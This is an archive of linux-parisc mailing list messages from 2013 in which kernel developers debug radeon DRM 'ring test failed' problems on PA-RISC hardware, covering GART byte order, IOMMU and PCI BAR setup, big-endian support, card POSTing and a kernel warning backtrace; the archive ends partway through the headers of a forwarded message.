> On Thu, Sep 05, 2013 at 10:58:25PM +0200, Helge Deller wrote:
>> Maybe section 4.5 (Chips et Coherency Issues) is relevant too: ?
>> The Rage128 product revealed a weakness in some motherboard chipsets=
 in that there is no mechanism to guarantee
>=20
> but radeon is not r128, iirc.

There is a discussion on coherency issues with radeon on powerpc platfo=
rm=20
in linuxppc-embedded mail list. See e.g. here: http://en.it-usenet.org/=
thread/19030/8457/
I actually tried sync suggestions from there, but they didn't help.

>=20
> My current state is:
>=20
> - parisc AGP GART code writes IOMMU entries in the wrong byte order a=
nd
>  doesn't add the coherency information SBA code adds

I've played with SBA IOMMU code once too. I've added an IOMMU bypass li=
ke
it done in counterpart ia64 driver, though it didn't help with DRM, plu=
s it broke
=46usion MPT SCSI driver, and then i've seen why:

/* We are just "encouraging" 32-bit DMA masks here since we can
 * never allow IOMMU bypass unless we add special support for ZX1.
 */

In addition, it has nothing to do in AGP mode which is DMA32 limited.

>=20
> - our PCI BAR setup doesn't really work very well together with the R=
adeon
>  DRM address setup.

> DRM will generate addresses, which are even outside
>  of the connected LBA

Aren't they fixing this sort of problems, like here: https://lkml.org/l=
kml/2010/12/6/516 ?

>=20
> I've hacked around both problems, but it doesn't solve the ring test
> issue. I even bought an PCI Radeon card to rule out any AGP oddities,
> but nothing new came out of the experiments with the PCI card.
>=20
> I've started checking drivers/video/aty to see what it does with
> acceleration and compare that with radeon DRM. The aty driver uses
> an endian config bit DRM doesn't use, but I haven't tested whether
> this makes a difference and how it is connected to the overall pictur=
e.=20
>=20
> What I'm still wondering is whether radeon DRM really works on 64bit
> big endian boxes. Is there any prove, that someone has it running ?
> Is it running on any big endian boxes ?

I've seen some patches were made for KMS in order to fix support for bi=
g-endian
machines, however all of them seem to be done for relatively new chips,=
 like r600.
All big endian support in r100.c looks like just one buffer swap, AFAIR=
=2E

>=20
> Thomas.
>=20
> --=20
> Crap can work. Given enough thrust pigs will fly, but it's not necess=
arily a
> good idea.                                                [ RFC1925, =
2.3 ]

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 -
 linux-image-3.10-2-parisc64-smp
Date: Fri, 06 Sep 2013 07:50:57 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <1378479057.2063.6.camel@dabdike.int.hansenpartnership.com>
References: <BLU0-SMTP41F72FA4035273DC12703897360@phx.gbl>
	 <BLU0-SMTP99E4F2E24E1A3F5BA18E7A97360@phx.gbl>
	 <108451378018002@web28j.yandex.ru>
	 <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl>
	 <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk>
	 <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl>
	 <F9C1BAB5-56D3-40E2-B0B2-184C92CD51AB@p0n4ik.tk>
	 <52278FBD.2010304@bell.net> <BLU0-SMTP36B9C5CB7AF69063DE0EBD97320@phx.gbl>
	 <5228F071.4040000@gmx.de> <20130906085203.GA15333@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1378479062 31128 80.91.229.3 (6 Sep 2013 14:51:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Sep 2013 14:51:02 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Alex Ivanov <gnidorah@p0n4ik.tk>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 06 16:51:04 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHxNF-0001Nc-3l
	for glpp-linux-parisc@plane.gmane.org; Fri, 06 Sep 2013 16:51:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752231Ab3IFOvA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Sep 2013 10:51:00 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:57840 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752158Ab3IFOu7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Sep 2013 10:50:59 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 158688EE0F6;
	Fri,  6 Sep 2013 07:50:59 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Bt73BBp87MJj; Fri,  6 Sep 2013 07:50:58 -0700 (PDT)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 786188EE0A4;
	Fri,  6 Sep 2013 07:50:58 -0700 (PDT)
In-Reply-To: <20130906085203.GA15333@alpha.franken.de>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5315
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5315>

On Fri, 2013-09-06 at 10:52 +0200, Thomas Bogendoerfer wrote:
> On Thu, Sep 05, 2013 at 10:58:25PM +0200, Helge Deller wrote:
> > Maybe section 4.5 (Chips et Coherency Issues) is relevant too: ?
> > The Rage128 product revealed a weakness in some motherboard chipsets in that there is no mechanism to guarantee
> 
> but radeon is not r128, iirc.
> 
> My current state is:
> 
> - parisc AGP GART code writes IOMMU entries in the wrong byte order and
>   doesn't add the coherency information SBA code adds
> 
> - our PCI BAR setup doesn't really work very well together with the Radeon
>   DRM address setup. DRM will generate addresses, which are even outside
>   of the connected LBA
> 
> I've hacked around both problems, but it doesn't solve the ring test
> issue. I even bought an PCI Radeon card to rule out any AGP oddities,
> but nothing new came out of the experiments with the PCI card.

Hang on, if you bought a new Radeon card, how are you POSTing it?  The
BIOS will have the x86 POST code.

> I've started checking drivers/video/aty to see what it does with
> acceleration and compare that with radeon DRM. The aty driver uses
> an endian config bit DRM doesn't use, but I haven't tested whether
> this makes a difference and how it is connected to the overall picture. 
> 
> What I'm still wondering is whether radeon DRM really works on 64bit
> big endian boxes. Is there any prove, that someone has it running ?
> Is it running on any big endian boxes ?

Yes, I've got (or rather had) one working on a power station (the IBM
Linux on Power workstation) before it died. It was an R128.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 -
 linux-image-3.10-2-parisc64-smp
Date: Fri, 6 Sep 2013 16:53:01 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20130906145301.GA19013@alpha.franken.de>
References: <108451378018002@web28j.yandex.ru>
 <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl>
 <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk>
 <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl>
 <F9C1BAB5-56D3-40E2-B0B2-184C92CD51AB@p0n4ik.tk>
 <52278FBD.2010304@bell.net>
 <BLU0-SMTP36B9C5CB7AF69063DE0EBD97320@phx.gbl>
 <5228F071.4040000@gmx.de>
 <20130906085203.GA15333@alpha.franken.de>
 <23BC892C-4F67-4669-A161-5F6ADE15F203@p0n4ik.tk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1378479190 593 80.91.229.3 (6 Sep 2013 14:53:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Sep 2013 14:53:10 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Alex Ivanov <gnidorah@p0n4ik.tk>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 06 16:53:13 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHxPN-0002Q2-0k
	for glpp-linux-parisc@plane.gmane.org; Fri, 06 Sep 2013 16:53:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753146Ab3IFOxM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Sep 2013 10:53:12 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:53963 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752922Ab3IFOxL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Sep 2013 10:53:11 -0400
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1VHxPK-0005Vw-00; Fri, 06 Sep 2013 16:53:10 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id BF8DB239AF5; Fri,  6 Sep 2013 16:53:01 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <23BC892C-4F67-4669-A161-5F6ADE15F203@p0n4ik.tk>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5316
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5316>

On Fri, Sep 06, 2013 at 06:12:01PM +0400, Alex Ivanov wrote:
> 06.09.2013, ? 12:52, Thomas Bogendoerfer <tsbogend@alpha.franken.de> ???????(?):
> > DRM will generate addresses, which are even outside
> >  of the connected LBA
> 
> Aren't they fixing this sort of problems, like here: https://lkml.org/lkml/2010/12/6/516 ?

no it's the side CPU->card. It only happens with PCI GART mode. DRM
shuffles around the addresses for VRAM and GTT, but misses that non PC
platforms might have more than one PCI bus, where transactions are
forwarded... or whatever it misses in our setup.

> > Is it running on any big endian boxes ?
> 
> I've seen some patches were made for KMS in order to fix support for
> big-endian machines, however all of them seem to be done for relatively
> new chips, like r600.

do you have a pointer to them ?

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 -
 linux-image-3.10-2-parisc64-smp
Date: Fri, 6 Sep 2013 18:11:58 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20130906161158.GA19991@alpha.franken.de>
References: <108451378018002@web28j.yandex.ru>
 <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl>
 <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk>
 <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl>
 <F9C1BAB5-56D3-40E2-B0B2-184C92CD51AB@p0n4ik.tk>
 <52278FBD.2010304@bell.net>
 <BLU0-SMTP36B9C5CB7AF69063DE0EBD97320@phx.gbl>
 <5228F071.4040000@gmx.de>
 <20130906085203.GA15333@alpha.franken.de>
 <1378479057.2063.6.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1378483950 25427 80.91.229.3 (6 Sep 2013 16:12:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Sep 2013 16:12:30 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Alex Ivanov <gnidorah@p0n4ik.tk>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 06 18:12:33 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHye8-00084u-FD
	for glpp-linux-parisc@plane.gmane.org; Fri, 06 Sep 2013 18:12:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754854Ab3IFQMc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Sep 2013 12:12:32 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:54069 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753785Ab3IFQMb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Sep 2013 12:12:31 -0400
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1VHye6-0001up-00; Fri, 06 Sep 2013 18:12:30 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 82151239AF5; Fri,  6 Sep 2013 18:11:58 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1378479057.2063.6.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5317
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5317>

On Fri, Sep 06, 2013 at 07:50:57AM -0700, James Bottomley wrote:
> Hang on, if you bought a new Radeon card, how are you POSTing it?  The
> BIOS will have the x86 POST code.

there is an x86 emulator in PDC. I even get PDC console on nvidia
cards. I also tested matrox cards but their bios hangs the machine.

> Yes, I've got (or rather had) one working on a power station (the IBM
> Linux on Power workstation) before it died. It was an R128.

was that with the KMS/DRM driver or the aty one ?

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 -
 linux-image-3.10-2-parisc64-smp
Date: Fri, 06 Sep 2013 10:14:11 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <1378487651.2063.20.camel@dabdike.int.hansenpartnership.com>
References: <108451378018002@web28j.yandex.ru>
	 <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl>
	 <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk>
	 <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl>
	 <F9C1BAB5-56D3-40E2-B0B2-184C92CD51AB@p0n4ik.tk>
	 <52278FBD.2010304@bell.net> <BLU0-SMTP36B9C5CB7AF69063DE0EBD97320@phx.gbl>
	 <5228F071.4040000@gmx.de> <20130906085203.GA15333@alpha.franken.de>
	 <1378479057.2063.6.camel@dabdike.int.hansenpartnership.com>
	 <20130906161158.GA19991@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1378487653 5206 80.91.229.3 (6 Sep 2013 17:14:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Sep 2013 17:14:13 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Alex Ivanov <gnidorah@p0n4ik.tk>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 06 19:14:15 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHzbr-0002Cw-3f
	for glpp-linux-parisc@plane.gmane.org; Fri, 06 Sep 2013 19:14:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754006Ab3IFROO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Sep 2013 13:14:14 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:43634 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752739Ab3IFROO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Sep 2013 13:14:14 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 1A6C88EE0F6;
	Fri,  6 Sep 2013 10:14:13 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Ze5EKU8RkD4x; Fri,  6 Sep 2013 10:14:13 -0700 (PDT)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 8E82C8EE0A4;
	Fri,  6 Sep 2013 10:14:12 -0700 (PDT)
In-Reply-To: <20130906161158.GA19991@alpha.franken.de>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5318
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5318>

On Fri, 2013-09-06 at 18:11 +0200, Thomas Bogendoerfer wrote:
> On Fri, Sep 06, 2013 at 07:50:57AM -0700, James Bottomley wrote:
> > Hang on, if you bought a new Radeon card, how are you POSTing it?  The
> > BIOS will have the x86 POST code.
> 
> there is an x86 emulator in PDC. I even get PDC console on nvidia
> cards. I also tested matrox cards but their bios hangs the machine.

Hm, OK ... what you describe sounds like the card is incorrectly POSTed.

> > Yes, I've got (or rather had) one working on a power station (the IBM
> > Linux on Power workstation) before it died. It was an R128.
> 
> was that with the KMS/DRM driver or the aty one ?

It was with the vanilla kernel.  The machine went belly up about two
years ago, so it's not with anything recent.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 - linux-image-3.10-2-parisc64-smp
Date: Sat, 7 Sep 2013 17:08:38 -0400
Lines: 89
Approved: news@gmane.org
Message-ID: <BLU0-SMTP524BC4BA31EE9E1B30875F973D0@phx.gbl>
References: <108451378018002@web28j.yandex.ru> <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl> <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk> <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl> <F9C1BAB5-56D3-40E2-B0B2-184C92CD51AB@p0n4ik.tk> <52278FBD.2010304@bell.net> <BLU0-SMTP36B9C5CB7AF69063DE0EBD97320@phx.gbl> <5228F071.4040000@gmx.de> <20130906085203.GA15333@alpha.franken.de> <1378479057.2063.6.camel@dabdike.int.hansenpartnership.com> <20130906161158.GA19991@alpha.franken.de> <1378487651.2063.20.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1378588144 7923 80.91.229.3 (7 Sep 2013 21:09:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 7 Sep 2013 21:09:04 +0000 (UTC)
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	Helge Deller <deller@gmx.de>, Alex Ivanov <gnidorah@p0n4ik.tk>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 07 23:09:01 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VIPkZ-0004wc-Ax
	for glpp-linux-parisc@plane.gmane.org; Sat, 07 Sep 2013 23:08:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751942Ab3IGVI6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 7 Sep 2013 17:08:58 -0400
Original-Received: from blu0-omc4-s25.blu0.hotmail.com ([65.55.111.164]:12180 "EHLO
	blu0-omc4-s25.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751935Ab3IGVI5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 7 Sep 2013 17:08:57 -0400
Original-Received: from BLU0-SMTP52 ([65.55.111.135]) by blu0-omc4-s25.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 7 Sep 2013 14:08:56 -0700
X-TMN: [M8hOwRGwOdru4nXliYFTrZWMByCBAZa6]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP52.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 7 Sep 2013 14:08:54 -0700
In-Reply-To: <1378487651.2063.20.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 07 Sep 2013 21:08:55.0138 (UTC) FILETIME=[761BDC20:01CEAC0E]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5319
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5319>

With the new modules, I sometimes encounter the following warning at  
boot on rp3440:

[drm] radeon: 8M of VRAM memory ready
[drm] radeon: 512M of GTT memory ready.
[drm] GART: num cpu pages 131072, num gpu pages 131072
[drm] PCI GART of 512M enabled (table at 0x0000000042540000).
radeon 0000:e0:02.0: WB disabled
radeon 0000:e0:02.0: fence driver on ring 0 use gpu addr  
0xffffffffd0000000 and cpu addr 0x000000007c716000
[drm] Supports vblank timestamp caching Rev 1 (10.10.2010).
[drm] Driver supports precise vblank timestamp query.
------------[ cut here ]------------
WARNING: at kernel/workqueue.c:1378
Modules linked in: radeon(+) cfbfillrect cfbimgblt cfbcopyarea  
i2c_algo_bit drm_kms_helper ttm drm i2c_core backlight ohci_pci  
ohci_hcd xfs exportfs btrfs xor lzo_compress zlib_deflate raid6_pq  
crc32c libcrc32c dm_mod zalon7xx lasi700 53c700 hilkbd sd_mod  
crc_t10dif usb_storage sg sr_mod cdrom ehci_pci tg3 ehci_hcd  
pata_cmd64x ptp sym53c8xx libata pps_core scsi_transport_spi usbcore  
scsi_mod usb_common
CPU: 0 PID: 1220 Comm: modprobe Not tainted 3.11.0+ #1
task: 000000007f054808 ti: 000000007f0c8000 task.ti: 000000007f0c8000

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001110 Not tainted
r00-03  000000000804000e 000000007f0c92b0 000000004015edb8  
000000007f0c92b0
r04-07  0000000040768900 0000000042536d00 000000007c809f20  
000000007c809f28
r08-11  000000007f0c9350 000000007fc40600 0000000000000020  
0000000000000020
r12-15  0000000000000000 0000000000000001 000000004078c100  
000000007f0c8288
r16-19  0000000000000050 0000000000000000 000000007f0c8410  
0000000000000000
r20-23  000000000800000e 000000007c808006 0000000000000000  
000000001e071628
r24-27  000000007c809f20 0000000000000000 0000000042533600  
0000000040768900
r28-31  0000000000000001 000000007f0c9350 000000007f0c9380  
0000000000000000
sr00-03  0000000000162800 0000000000000000 0000000000000000  
0000000000113000
sr04-07  0000000000000000 0000000000000000 0000000000000000  
0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004015ee5c  
000000004015ee60
  IIR: 03ffe01f    ISR: 0000000010240000  IOR: 000000094cd33600
  CPU:        0   CR30: 000000007f0c8000 CR31: a001019408140000
  ORIG_R28: 0000000000000001
  IAOQ[0]: __queue_work+0x2dc/0x360
  IAOQ[1]: __queue_work+0x2e0/0x360
  RP(r2): __queue_work+0x238/0x360
Backtrace:
  [<000000004015ef64>] queue_work_on+0x84/0xa8
  [<000000001df55dfc>] r100_irq_process+0x2ec/0x5d8 [radeon]
  [<000000001df48cc4>] radeon_driver_irq_preinstall_kms+0x16c/0x1a0  
[radeon]
  [<000000001cdbd024>] drm_irq_install+0x11c/0x3c0 [drm]
  [<000000001df48f8c>] radeon_irq_kms_init+0x8c/0x168 [radeon]
  [<000000001df5aeac>] r100_startup+0x22c/0x3c8 [radeon]
  [<000000001df5b880>] r100_init+0x348/0x5c0 [radeon]
  [<000000001defbff4>] radeon_device_init+0x79c/0x9d0 [radeon]
  [<000000001deff588>] radeon_driver_load_kms+0xb8/0x1a8 [radeon]
  [<000000001cdc682c>] drm_get_pci_dev+0x28c/0x390 [drm]
  [<000000001def96e4>] radeon_pci_probe+0xcc/0x120 [radeon]
  [<000000004035fd74>] pci_device_probe+0xc4/0xf8
  [<00000000403d0fd8>] really_probe+0xd0/0x328
  [<00000000403d13e8>] __driver_attach+0x100/0x108
  [<00000000403ce290>] bus_for_each_dev+0xa0/0x100
  [<00000000403d08cc>] driver_attach+0x34/0x48

---[ end trace 9a90037d977025eb ]---
[drm] radeon: irq initialized.
[drm] Loading R100 Microcode

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: drm/radeon: "ring test failed" on PA-RISC Linux
Date: Wed, 11 Sep 2013 15:11:37 +0400
Lines: 64
Approved: news@gmane.org
Message-ID: <1978F3C3-6AD8-4487-B9DD-8AF1DEDDA8B4@p0n4ik.tk>
References: <20130910132529.GF5038@phenom.dumpdata.com>
NNTP-Posting-Host: plane.gmane.org
